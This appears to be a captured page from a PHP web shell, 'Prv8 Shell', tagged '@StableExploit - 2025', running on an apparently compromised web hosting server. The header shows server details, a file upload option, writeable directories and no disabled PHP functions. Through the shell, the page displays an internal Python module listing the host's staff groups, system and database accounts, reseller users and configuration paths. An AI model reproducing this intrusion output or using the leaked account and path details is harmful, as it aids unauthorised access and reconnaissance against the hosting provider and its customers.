Prv8 Shell
Server : Apache
System : Linux ecngx264.inmotionhosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : lonias5 ( 3576)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /usr/lib/imh-whmapi/venv/lib/python3.13/site-packages/rads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/imh-whmapi/venv/lib/python3.13/site-packages/rads/__init__.py
"""Rads module

.. data:: rads.IMH_ROLE:

    The server's imh_role in salt
    *(str | None)*

.. data:: rads.IMH_CLASS:

    The server's imh_class in salt
    *(str | None)*

.. data:: rads.HAS_CPANEL:

    Whether /usr/local/cpanel/cpsrvd exists as a file
    *(bool)*

.. data:: rads.SECURE_USER:

    The secure user's username
    *(str)*

.. data:: rads.SECURE_FQDN:

    The secure user's fqdn
    *(str)*

.. data:: rads.STAFF_GROUPS:

    IMH employee group names
    *(list)*

.. data:: rads.SYS_USERS:

    System usernames. This also includes ``OUR_RESELLERS`` and ``SECURE_USER``
    *(list)*

.. data:: rads.SYS_MYSQL_USERS:

    System MySQL usernames
    *(list)*

.. data:: rads.OUR_RESELLERS:

    Our "main" resellers' usernames on shared, including root and tier2s
    *(list)*

.. data:: rads.CPANEL_EXTRA_SHARED_IPS:

    Any extra shared ips defined in /etc/reservedipreasons
    *(list)*

.. data:: rads.CPANEL_INMOTION_IPS:

    Any shared ips defined in /var/cpanel/mainips/inmotion
    *(list)*
"""

from pathlib import Path
import platform
import re
from . import _globals

__version__ = '4.3.2'

# pylint: disable=wrong-import-position,global-statement
IMH_ROLE, IMH_CLASS = _globals.read_server_role()
IMH_PROFILE = f"{IMH_ROLE}.{IMH_CLASS}" if IMH_ROLE else None
HAS_CPANEL = Path('/usr/local/cpanel/cpsrvd').is_file()
STAFF_GROUPS = ["ahs", "eng", "tier2c", "tier2s", "tier3"]
SYS_USERS = [
    "tier1",
    "tier1adv",
    "root",
    "bin",
    "daemon",
    "sync",
    "cpanel",
    "mail",
    "halt",
    "shutdown",
    "adm",
    "nobody",
    "news",
    "sshd",
    "named",
    "rpc",
    "ftp",
    "apache",
    "mailnull",
    "mysql",
    "mailman",
    "inmotion",
    "hubhost",
    "tier2s",
    "promgr",
    "nagios",
    "moveuser",
    "system",
]
SYS_MYSQL_USERS = ["system user", "root", "cpanel", "mysql", "replicant"]
OUR_RESELLERS = ["root", "tier2s", "inmotion", "hubhost"]
if IMH_ROLE == 'shared':
    SECURE_FQDN = re.sub('^[a-z-]+', 'secure', platform.node())
    SECURE_USER = _globals.get_secure_user(SECURE_FQDN)
    if SECURE_USER:
        SYS_USERS.append(SECURE_USER)
    CPANEL_EXTRA_SHARED_IPS = _globals.get_cpanel_inmotion_ips()
    CPANEL_INMOTION_IPS = _globals.get_cpanel_extra_shared_ips()
else:
    SECURE_FQDN, SECURE_USER = None, None
    CPANEL_EXTRA_SHARED_IPS, CPANEL_INMOTION_IPS = [], []

from . import color
from . import vz

# General functions (these also need __module__ set to appear in docs)
from ._email import send_email

from ._input import get_keypress, prompt_y_n

from ._locking import LockError, lock, wait_lock

from ._logging import setup_logging, setup_verbosity
from ._logging import LevelFilter, MultilineFormatter

from ._sa import get_cp_usage, SaUsage

from ._fsquota import QuotaCtl, QuotaError, QuotaNoUser, QuotasDisabled

from ._users import CpuserError, UserData, UserDomain
from ._users import get_login, get_homedir, get_primary_domain
from ._users import is_cpuser, all_cpusers, main_cpusers
from ._users import get_owner, is_child, get_children
from ._users import cpuser_safe, cpuser_suspended, whoowns
from ._users import DumbYamlLoader, get_plan

from ._tickets import make_ticket, TicketError

# Backwards compat imports
# pylint: disable=wrong-import-order,cyclic-import
from . import semaphore

@StableExploit - 2025